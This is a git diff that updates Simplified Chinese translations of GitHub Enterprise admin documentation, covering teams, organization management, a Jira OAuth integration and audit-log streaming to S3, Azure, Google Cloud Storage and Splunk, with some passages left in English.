+2. 在 **Organizations（组织）**选项卡中的组织列表上方，单击 **Invite organization（邀请组织）**。 ![邀请组织](/assets/images/help/business-accounts/enterprise-account-invite-organization.png)
+3. 在“Organization name（组织名称）”下，开始键入要邀请的组织名称，并在它出现在下拉列表中时选择它。 ![搜索组织](/assets/images/help/business-accounts/enterprise-account-search-for-organization.png)
+4. 单击 **Invite organization（邀请组织）**。
+5. 组织所有者将收到一封邀请他们加入组织的电子邮件。 至少有一个所有者接受邀请才能继续该过程。 您可以在所有者批准邀请之前随时取消或重新发送邀请。 ![取消或重新发送](/assets/images/help/business-accounts/enterprise-account-invitation-sent.png)
+6. 一旦组织所有者批准了邀请，您可以在待定邀请列表中查看其状态。 ![待定邀请](/assets/images/help/business-accounts/enterprise-account-pending.png)
+7. 点击 **Approve（批准）**完成传输，或点击 **Cancel（取消）**予以取消。 ![批准邀请](/assets/images/help/business-accounts/enterprise-account-transfer-approve.png)
diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md
index f02cedf911..9431452c4f 100644
--- a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md
+++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md
@@ -1,12 +1,12 @@
 ---
-title: Adding people to teams
+title: 向团队添加人员
 redirect_from:
   - /enterprise/admin/articles/adding-teams
   - /enterprise/admin/articles/adding-or-inviting-people-to-teams
   - /enterprise/admin/guides/user-management/adding-or-inviting-people-to-teams
   - /enterprise/admin/user-management/adding-people-to-teams
   - /admin/user-management/adding-people-to-teams
-intro: 'Once a team has been created, organization admins can add users from {% data variables.product.product_location %} to the team and determine which repositories they have access to.'
+intro: '创建团队后，组织管理员可以将用户从 {% data variables.product.product_location %} 添加到团队并决定他们可以访问哪些仓库。'
 versions:
   ghes: '*'
 type: how_to
@@ -16,12 +16,13 @@ topics:
   - Teams
   - User account
 ---
-Each team has its own individually defined [access permissions for repositories owned by your organization](/articles/permission-levels-for-an-organization).
 
-- Members with the owner role can add or remove existing organization members from all teams.
-- Members of teams that give admin permissions can only modify team membership and repositories for that team.
+每个团队都有自己单独定义的[组织所拥有仓库的访问权限](/articles/permission-levels-for-an-organization)。
 
-## Setting up a team
+- 具有所有者角色的成员可以向所有团队添加成员或从中移除现有组织成员。
+- 具有管理员权限的团队成员仅可以修改所属团队的成员资格和仓库。
+
+## 设置团队
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -29,8 +30,8 @@ Each team has its own individually defined [access permissions for repositories
 {% data reusables.organizations.invite_to_team %}
 {% data reusables.organizations.review-team-repository-access %}
 
-## Mapping teams to LDAP groups (for instances using LDAP Sync for user authentication)
+## 将团队映射到 LDAP 组（例如，使用 LDAP 同步进行用户身份验证）
 
 {% data reusables.enterprise_management_console.badge_indicator %}
 
-To add a new member to a team synced to an LDAP group, add the user as a member of the LDAP group, or contact your LDAP administrator.
+要将新成员添加到已同步至 LDAP 组的团队，请将用户添加为 LDAP 组的成员，或者联系您的 LDAP 管理员。
diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/index.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/index.md
index 9df1581688..6ced953c8e 100644
--- a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/index.md
+++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/index.md
@@ -1,5 +1,5 @@
 ---
-title: Managing organizations in your enterprise
+title: 管理企业中的组织
 redirect_from:
   - /enterprise/admin/articles/adding-users-and-teams
   - /enterprise/admin/categories/admin-bootcamp
@@ -8,7 +8,7 @@ redirect_from:
   - /articles/managing-organizations-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/managing-organizations-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account
-intro: 'Organizations are great for creating distinct groups of users within your company, such as divisions or groups working on similar projects. {% ifversion ghae %}Internal{% else %}Public and internal{% endif %} repositories that belong to an organization are accessible to members of other organizations in the enterprise, while private repositories are inaccessible to anyone but members of the organization that are granted access.'
+intro: '组织适合在您的公司内创建不同的用户组，例如部门或参与相似项目的组。 属于组织的{% ifversion ghae %}内部{% else %}公共和内部{% endif %}仓库可供企业中其他组织中的成员访问，而私有仓库只能供被授予访问权限的组织成员访问。'
 versions:
   ghec: '*'
   ghes: '*'
@@ -29,5 +29,6 @@ children:
   - /removing-organizations-from-your-enterprise
   - /managing-projects-using-jira
   - /continuous-integration-using-jenkins
-shortTitle: Manage organizations
+shortTitle: 管理组织
 ---
+
diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md
index 10a117009a..6bda13ac8c 100644
--- a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md
+++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md
@@ -1,6 +1,6 @@
 ---
-title: Managing projects using Jira
-intro: 'You can integrate Jira with {% data variables.product.prodname_enterprise %} for project management.'
+title: 使用 Jira 管理项目
+intro: '您可以将 Jira 与 {% data variables.product.prodname_enterprise %} 集成以进行项目管理。'
 redirect_from:
   - /enterprise/admin/guides/installation/project-management-using-jira
   - /enterprise/admin/articles/project-management-using-jira
@@ -14,56 +14,57 @@ type: how_to
 topics:
   - Enterprise
   - Project management
-shortTitle: Project management with Jira
+shortTitle: 使用 Jira 的项目管理
 ---
-## Connecting Jira to a {% data variables.product.prodname_enterprise %} organization
 
-1. Sign into your {% data variables.product.prodname_enterprise %} account at http[s]://[hostname]/login. If already signed in, click on the {% data variables.product.prodname_dotcom %} logo in the top left corner.
-2. Click on your profile icon under the {% data variables.product.prodname_dotcom %} logo and select the organization you would like to connect with Jira.
+## 将 Jira 连接到 {% data variables.product.prodname_enterprise %} 组织
 
-  ![Select an organization](/assets/images/enterprise/orgs-and-teams/profile-select-organization.png)
+1. 在 http[s]://[hostname]/login 上登录您的 {% data variables.product.prodname_enterprise %} 帐户。 如果已登录，请单击左上角的 {% data variables.product.prodname_dotcom %} 徽标。
+2. 单击 {% data variables.product.prodname_dotcom %} 徽标下的个人资料图标，然后选择您希望使用 Jira 连接的组织。
 
-3. Click on the **Edit _organization name_ settings** link.
+  ![选择组织](/assets/images/enterprise/orgs-and-teams/profile-select-organization.png)
 
-  ![Edit organization settings](/assets/images/enterprise/orgs-and-teams/edit-organization-settings.png)
+3. 单击**编辑_组织名称_设置**链接。
 
-4. In the left sidebar, under **Developer settings**, click **OAuth Apps**.
+  ![编辑组织设置](/assets/images/enterprise/orgs-and-teams/edit-organization-settings.png)
 
-  ![Select OAuth Apps](/assets/images/enterprise/orgs-and-teams/organization-dev-settings-oauth-apps.png)
+4. 在左侧边栏的 **Developer settings（开发者设置）**下，单击 **OAuth Apps（OAuth 应用程序）**。
 
-5. Click on the **Register new application** button.
+  ![选择 OAuth 应用程序](/assets/images/enterprise/orgs-and-teams/organization-dev-settings-oauth-apps.png)
 
-  ![Register new application button](/assets/images/enterprise/orgs-and-teams/register-oauth-application-button.png)
+5. 单击 **Register new application（注册新应用程序）**按钮。
 
-6. Fill in the application settings:
-    - In the **Application name** field, type "Jira" or any name you would like to use to identify the Jira instance.
-    - In the **Homepage URL** field, type the full URL of your Jira instance.
-    - In the **Authorization callback URL** field, type the full URL of your Jira instance.
-7. Click **Register application**.
-8. At the top of the page, note the **Client ID** and **Client Secret**. You will need these for configuring your Jira instance.
+  ![注册新应用程序按钮](/assets/images/enterprise/orgs-and-teams/register-oauth-application-button.png)
 
-## Jira instance configuration
+6. 填写应用程序设置：
+    - 在 **Application name（应用程序名称）** 字段中，输入 "Jira" 或您想要用来标识 Jira 实例的任何名称。
+    - 在 **Homepage URL（主页 URL）**字段中，输入 Jira 实例的完整 URL。
+    - 在 **Authorization callback URL（授权回叫 URL）**字段中，输入 Jira 实例的完整 URL。
+7. 单击 **Register application（注册应用程序）**。
+8. 在页面顶部，记下 **Client ID** 和 **Client Secret**。 您将需要这些信息来配置 Jira 实例。
 
-1. On your Jira instance, log into an account with administrative access.
-2. At the top of the page, click the settings (gear) icon and choose **Applications**.
+## Jira 实例配置
 
-  ![Select Applications on Jira settings](/assets/images/enterprise/orgs-and-teams/jira/jira-applications.png)
+1. 在 Jira 实例上，登录具有管理访问权限的帐户。
+2. 在页面顶部，单击设置（齿轮）图标，然后选择 **Applications（应用程序）**。
 
-3. In the left sidebar, under **Integrations**, click **DVCS accounts**.
+  ![选择 Jira 设置中的应用程序](/assets/images/enterprise/orgs-and-teams/jira/jira-applications.png)
 
-  ![Jira Integrations menu - DVCS accounts](/assets/images/enterprise/orgs-and-teams/jira/jira-integrations-dvcs.png)
+3. 在左侧边栏的 **Integrations（集成）**下，单击 **DVCS accounts（DVCS 帐户）**。
 
-4. Click **Link Bitbucket Cloud or {% data variables.product.prodname_dotcom %} account**.
+  ![Jira 集成菜单 - DVCS 帐户](/assets/images/enterprise/orgs-and-teams/jira/jira-integrations-dvcs.png)
 
-  ![Link GitHub account to Jira](/assets/images/enterprise/orgs-and-teams/jira/jira-link-github-account.png)
+4. 单击**链接 Bitbucket Cloud 或 {% data variables.product.prodname_dotcom %} 帐户**。
 
-5. In the **Add New Account** modal, fill in your {% data variables.product.prodname_enterprise %} settings:
-    - From the **Host** dropdown menu, choose **{% data variables.product.prodname_enterprise %}**.
-    - In the **Team or User Account** field, type the name of your {% data variables.product.prodname_enterprise %} organization or personal account.
-    - In the **OAuth Key** field, type the Client ID of your {% data variables.product.prodname_enterprise %} developer application.
-    - In the **OAuth Secret** field, type the Client Secret for your {% data variables.product.prodname_enterprise %} developer application.
-    - If you don't want to link new repositories owned by your {% data variables.product.prodname_enterprise %} organization or personal account, deselect **Auto Link New Repositories**.
-    - If you don't want to enable smart commits, deselect **Enable Smart Commits**.
-    - Click **Add**.
-6. Review the permissions you are granting to your {% data variables.product.prodname_enterprise %} account and click **Authorize application**.
-7. If necessary, type your password to continue.
+  ![将 GitHub 帐户链接到 Jira](/assets/images/enterprise/orgs-and-teams/jira/jira-link-github-account.png)
+
+5. 在 **Add New Account** 模态中，填写您的 {% data variables.product.prodname_enterprise %} 设置：
+    - 从 **Host（主机）**下拉菜单中，选择 **{% data variables.product.prodname_enterprise %}**。
+    - 在 **Team or User Account** 字段中，输入 {% data variables.product.prodname_enterprise %} 组织或个人帐户的名称。
+    - 在 **OAuth Key** 字段中，输入 {% data variables.product.prodname_enterprise %} 开发者应用程序的客户端 ID。
+    - 在 **OAuth Secret** 字段中，输入 {% data variables.product.prodname_enterprise %} 开发者应用程序的客户端密钥。
+    - 如果您不想链接 {% data variables.product.prodname_enterprise %} 组织或个人帐户拥有的新仓库，请取消选择 **Auto Link New Repositories（自动链接新仓库）**。
+    - 如果您不想启用智能提交，请取消选择 **Enable Smart Commits（启用智能提交）**。
+    - 单击 **Add（添加）**。
+6. 查看您要授予 {% data variables.product.prodname_enterprise %} 帐户的权限，然后单击 **Authorize application**。
+7. 如有必要，请输入密码以继续。
diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md
index 2d2d1eb8d1..19ba0be246 100644
--- a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md
+++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Managing unowned organizations in your enterprise
 intro: 您可以成为企业帐户中目前没有所有者的组织的所有者。
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: Enterprise owners can manage unowned organizations in an enterprise account.
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/managing-unowned-organizations-in-your-enterprise-account
diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md
index 41cbf9b46b..02b94001ec 100644
--- a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md
+++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md
@@ -1,11 +1,11 @@
 ---
-title: Preventing users from creating organizations
+title: 阻止用户创建组织
 redirect_from:
   - /enterprise/admin/articles/preventing-users-from-creating-organizations
   - /enterprise/admin/hidden/preventing-users-from-creating-organizations
   - /enterprise/admin/user-management/preventing-users-from-creating-organizations
   - /admin/user-management/preventing-users-from-creating-organizations
-intro: You can prevent users from creating organizations in your enterprise.
+intro: 您可以防止用户在您的企业中创建组织。
 versions:
   ghes: '*'
   ghae: '*'
@@ -14,8 +14,9 @@ topics:
   - Enterprise
   - Organizations
   - Policies
-shortTitle: Prevent organization creation
+shortTitle: 阻止创建组织
 ---
+
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
 {% data reusables.enterprise-accounts.policies-tab %}
@@ -23,5 +24,4 @@ shortTitle: Prevent organization creation
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Users can create organizations", use the drop-down menu and click **Enabled** or **Disabled**.
-![Users can create organizations drop-down](/assets/images/enterprise/site-admin-settings/users-create-orgs-dropdown.png)
+4. 在“Users can create organizations”下，使用下拉菜单，然后单击 **Enabled** 或 **Disabled**。 ![Users can create organizations 下拉菜单](/assets/images/enterprise/site-admin-settings/users-create-orgs-dropdown.png)
diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md
index 0ba1cedf87..1dbb4672ea 100644
--- a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md
+++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
 title: Removing organizations from your enterprise
 intro: 'If an organization should no longer be a part of your enterprise, you can remove the organization.'
-permissions: 'Enterprise owners can remove any organization from their enterprise.'
+permissions: Enterprise owners can remove any organization from their enterprise.
 versions:
   ghec: '*'
 type: how_to
@@ -23,9 +23,6 @@ shortTitle: Removing organizations
 ## Removing an organization from your Enterprise
 
 {% data reusables.enterprise-accounts.access-enterprise %}
-2. Under "Organizations", in the search bar, begin typing the organization's name until the organization appears in the search results.
-![Screenshot of the search field for organizations](/assets/images/help/enterprises/organization-search.png)
-3. To the right of the organization's name, select the {% octicon "gear" aria-label="The gear icon" %} drop-down menu and click **Remove organization**.
-![Screenshot of an organization in search results](/assets/images/help/enterprises/remove-organization.png)
-4. Review the warnings, then click **Remove organization**.
-![Screenshot of a warning message and button to remove organization](/assets/images/help/enterprises/remove-organization-warning.png)
+2. Under "Organizations", in the search bar, begin typing the organization's name until the organization appears in the search results. ![Screenshot of the search field for organizations](/assets/images/help/enterprises/organization-search.png)
+3. To the right of the organization's name, select the {% octicon "gear" aria-label="The gear icon" %} drop-down menu and click **Remove organization**. ![Screenshot of an organization in search results](/assets/images/help/enterprises/remove-organization.png)
+4. Review the warnings, then click **Remove organization**. ![Screenshot of a warning message and button to remove organization](/assets/images/help/enterprises/remove-organization-warning.png)
diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md
index 01153604dc..54c39ee8ac 100644
--- a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md
+++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md
@@ -1,7 +1,6 @@
 ---
 title: Streaming the audit logs for organizations in your enterprise account
 intro: 'You can stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 miniTocMaxHeadingLevel: 3
 versions:
   ghec: '*'
@@ -61,7 +60,7 @@ You set up the audit log stream on {% data variables.product.product_name %} by
 
 ### Setting up streaming to Amazon S3
 
-To stream audit logs to Amazon's S3 endpoint, you must have a bucket and access keys. For more information, see [Creating, configuring, and working with Amazon S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) in the the AWS documentation. Make sure to block public access to the bucket to protect your audit log information. 
+To stream audit logs to Amazon's S3 endpoint, you must have a bucket and access keys. For more information, see [Creating, configuring, and working with Amazon S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) in the the AWS documentation. Make sure to block public access to the bucket to protect your audit log information.
 
 To set up audit log streaming from {% data variables.product.prodname_dotcom %} you will need:
 * The name of your Amazon S3 bucket
@@ -71,43 +70,34 @@ To set up audit log streaming from {% data variables.product.prodname_dotcom %}
 For information on creating or accessing your access key ID and secret key, see [Understanding and getting your AWS credentials](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html) in the AWS documentation.
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Configure stream** and select **Amazon S3**.
-   ![Choose Amazon S3 from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-s3.png)
+1. Click **Configure stream** and select **Amazon S3**. ![Choose Amazon S3 from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-s3.png)
 1. On the configuration page, enter:
    * The name of the bucket you want to stream to. For example, `auditlog-streaming-test`.
    * Your access key ID. For example, `ABCAIOSFODNN7EXAMPLE1`.
-   * Your secret key. For example, `aBcJalrXUtnWXYZ/A1MDENG/zPxRfiCYEXAMPLEKEY`.
-   ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-s3.png)
-1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Amazon S3 endpoint.
-   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png)
+   * Your secret key. For example, `aBcJalrXUtnWXYZ/A1MDENG/zPxRfiCYEXAMPLEKEY`. ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-s3.png)
+1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Amazon S3 endpoint. ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png)
 {% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
 
 ### Setting up streaming to Azure Event Hubs
 
-Before setting up a stream in {% data variables.product.prodname_dotcom %}, you must first have an event hub namespace in Microsoft Azure. Next, you must create an event hub instance within the namespace. You'll need the details of this event hub instance when you set up the stream. For details, see the Microsoft documentation, "[Quickstart: Create an event hub using Azure portal](https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-create)." 
+Before setting up a stream in {% data variables.product.prodname_dotcom %}, you must first have an event hub namespace in Microsoft Azure. Next, you must create an event hub instance within the namespace. You'll need the details of this event hub instance when you set up the stream. For details, see the Microsoft documentation, "[Quickstart: Create an event hub using Azure portal](https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-create)."
 
-You need two pieces of information about your event hub: its instance name and the connection string. 
+You need two pieces of information about your event hub: its instance name and the connection string.
 
 **On Microsoft Azure portal**:
-1. In the left menu select **Entities**. Then select **Event Hubs**. The names of your event hubs are listed. 
-   ![A list of event hubs](/assets/images/help/enterprises/azure-event-hubs-list.png)
+1. In the left menu select **Entities**. Then select **Event Hubs**. The names of your event hubs are listed. ![A list of event hubs](/assets/images/help/enterprises/azure-event-hubs-list.png)
 1. Make a note of the name of the event hub you want to stream to.
 1. Click the required event hub. Then, in the left menu, select **Shared Access Policies**.
-1. Select a shared access policy in the list of policies, or create a new policy.
-   ![A list of shared access policies](/assets/images/help/enterprises/azure-shared-access-policies.png)
-1. Click the button to the right of the **Connection string-primary key** field to copy the connection string.
-   ![The event hub connection string](/assets/images/help/enterprises/azure-connection-string.png)
+1. Select a shared access policy in the list of policies, or create a new policy. ![A list of shared access policies](/assets/images/help/enterprises/azure-shared-access-policies.png)
+1. Click the button to the right of the **Connection string-primary key** field to copy the connection string. ![The event hub connection string](/assets/images/help/enterprises/azure-connection-string.png)
 
 **On {% data variables.product.prodname_dotcom %}**:
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Configure stream** and select **Azure Event Hubs**.
-   ![Choose Azure Events Hub from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-azure.png)
+1. Click **Configure stream** and select **Azure Event Hubs**. ![Choose Azure Events Hub from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-azure.png)
 1. On the configuration page, enter:
    * The name of the Azure Event Hubs instance.
-   * The connection string.
-   ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-azure.png)
-1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Azure endpoint.
-   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png)
+   * The connection string. ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-azure.png)
+1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Azure endpoint. ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png)
 {% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
 
 ### Setting up streaming to Google Cloud Storage
@@ -131,7 +121,7 @@ To set up streaming to Google Cloud Storage, you must create a service account i
 
    ![Screenshot of the "JSON Credentials" text field](/assets/images/help/enterprises/audit-stream-json-credentials-google-cloud-storage.png)
 
-1. To verify that {% data variables.product.prodname_dotcom %} can connect and write to the Google Cloud Storage bucket, click **Check endpoint**. 
+1. To verify that {% data variables.product.prodname_dotcom %} can connect and write to the Google Cloud Storage bucket, click **Check endpoint**.
 
    ![Screenshot of the "Check endpoint" button](/assets/images/help/enterprises/audit-stream-check-endpoint-google-cloud-storage.png)
 
@@ -142,25 +132,22 @@ To set up streaming to Google Cloud Storage, you must create a service account i
 To stream audit logs to Splunk's HTTP Event Collector (HEC) endpoint you must make sure that the endpoint is configured to accept HTTPS connections. For more information, see [Set up and use HTTP Event Collector in Splunk Web](https://docs.splunk.com/Documentation/Splunk/latest/Data/UsetheHTTPEventCollector) in the Splunk documentation.
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Configure stream** and select **Splunk**.
-   ![Choose Splunk from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-splunk.png)
+1. Click **Configure stream** and select **Splunk**. ![Choose Splunk from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-splunk.png)
 1. On the configuration page, enter:
    * The domain on which the application you want to stream to is hosted.
-  
-     If you are using Splunk Cloud, `Domain` should be `http-inputs-<host>`, where `host` is the domain you use in Splunk Cloud. For example: `http-inputs-mycompany.splunkcloud.com`. 
+
+     If you are using Splunk Cloud, `Domain` should be `http-inputs-<host>`, where `host` is the domain you use in Splunk Cloud. 例如：`http-inputs-mycompany.splunkcloud.com`。
 
    * The port on which the application accepts data.<br>
 
      If you are using Splunk Cloud, `Port` should be `443` if you haven't changed the port configuration. If you are using the free trial version of Splunk Cloud, `Port` should be `8088`.
 
-   * A token that {% data variables.product.prodname_dotcom %} can use to authenticate to the third-party application.
-   ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-splunk.png)
+   * A token that {% data variables.product.prodname_dotcom %} can use to authenticate to the third-party application. ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-splunk.png)
 
 1. Leave the **Enable SSL verification** check box selected.
 
     Audit logs are always streamed as encrypted data, however, with this option selected, {% data variables.product.prodname_dotcom %} verifies the SSL certificate of your Splunk instance when delivering events. SSL verification helps ensure that events are delivered to your URL endpoint securely. You can clear the selection of this option, but we recommend you leave SSL verification enabled.
-1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Splunk endpoint.
-   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check-splunk.png)
+1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Splunk endpoint. ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check-splunk.png)
 {% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
 
 ## Pausing audit log streaming
@@ -168,8 +155,7 @@ To stream audit logs to Splunk's HTTP Event Collector (HEC) endpoint you must ma
 Pausing the stream allows you to perform maintenance on the receiving application without losing audit data. Audit logs are stored for up to seven days on {% data variables.product.product_location %} and are then exported when you unpause the stream.
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Pause stream**.
-   ![Pause the stream](/assets/images/help/enterprises/audit-stream-pause.png)
+1. Click **Pause stream**. ![Pause the stream](/assets/images/help/enterprises/audit-stream-pause.png)
 1. A confirmation message is displayed. Click **Pause stream** to confirm.
 
 When the application is ready to receive audit logs again, click **Resume stream** to restart streaming audit logs.
@@ -177,6 +163,5 @@ When the application is ready to receive audit logs again, click **Resume stream
 ## Deleting the audit log stream
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Delete stream**.
-   ![Delete the stream](/assets/images/help/enterprises/audit-stream-delete.png)
+1. Click **Delete stream**. ![Delete the stream](/assets/images/help/enterprises/audit-stream-delete.png)
 2. A confirmation message is displayed. Click **Delete stream** to confirm.
diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md
index 8ee2d906ec..f6496d5cd5 100644
--- a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md
+++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Viewing the audit logs for organizations in your enterprise
-intro: Enterprise owners can view aggregated actions from all of the organizations owned by an enterprise account in its audit log.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+intro: 企业所有者可以在其审核日志中查看企业帐户拥有的所有组织的汇总操作。
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account
   - /articles/viewing-the-audit-logs-for-organizations-in-your-business-account
@@ -16,18 +15,19 @@ topics:
   - Enterprise
   - Logging
   - Organizations
-shortTitle: View organization audit logs
+shortTitle: 查看组织审核日志
 ---
-Each audit log entry shows applicable information about an event, such as:
 
-- The organization an action was performed in
-- The user who performed the action
-- Which repository an action was performed in
-- The action that was performed
-- Which country the action took place in
-- The date and time the action occurred
+每个审核日志条目都显示有关事件的适用信息，例如：
 
-You can search the audit log for specific events and export audit log data. For more information on searching the audit log and on specific organization events, see "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)."
+- 可在其中执行操作的组织
+- 执行操作的用户
+- 执行操作的仓库
+- 执行的操作内容
+- 发生操作的国家/地区
+- 操作发生的日期和时间
+
+您可以在审核日志中搜索特定事件并导出审核日志数据。 有关搜索审核日志和特定组织事件的更多信息，请参阅“[审查组织的审核日志](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)”。
 
 You can also stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system. For more information, see "[Streaming the audit logs for organizations in your enterprise account](/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account)."
 
diff --git a/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md
index e02538d16a..081a8e49e3 100644
--- a/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md
+++ b/translations/zh-CN/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md
@@ -1,5 +1,5 @@
 ---
-title: Disabling Git SSH access on your enterprise
+title: 在企业上禁用 Git SSH 访问
 redirect_from:
   - /enterprise/admin/hidden/disabling-ssh-access-for-a-user-account
   - /enterprise/admin/articles/disabling-ssh-access-for-a-user-account
@@ -14,7 +14,7 @@ redirect_from:
   - /enterprise/admin/user-management/disabling-git-ssh-access-on-github-enterprise-server
   - /admin/user-management/disabling-git-ssh-access-on-github-enterprise-server
   - /admin/user-management/disabling-git-ssh-access-on-your-enterprise
-intro: You can prevent people from using Git over SSH for certain or all repositories on your enterprise.
+intro: 您可以阻止用户为企业上的某些仓库或所有仓库使用 Git over SSH。
 versions:
   ghes: '*'
   ghae: '*'
@@ -24,9 +24,10 @@ topics:
   - Policies
   - Security
   - SSH
-shortTitle: Disable SSH for Git
+shortTitle: 对 Git 禁用 SSH
 ---
-## Disabling Git SSH access to a specific repository
+
+## 禁止对特定仓库进行 Git SSH 访问
 
 {% data reusables.enterprise_site_admin_settings.override-policy %}
 
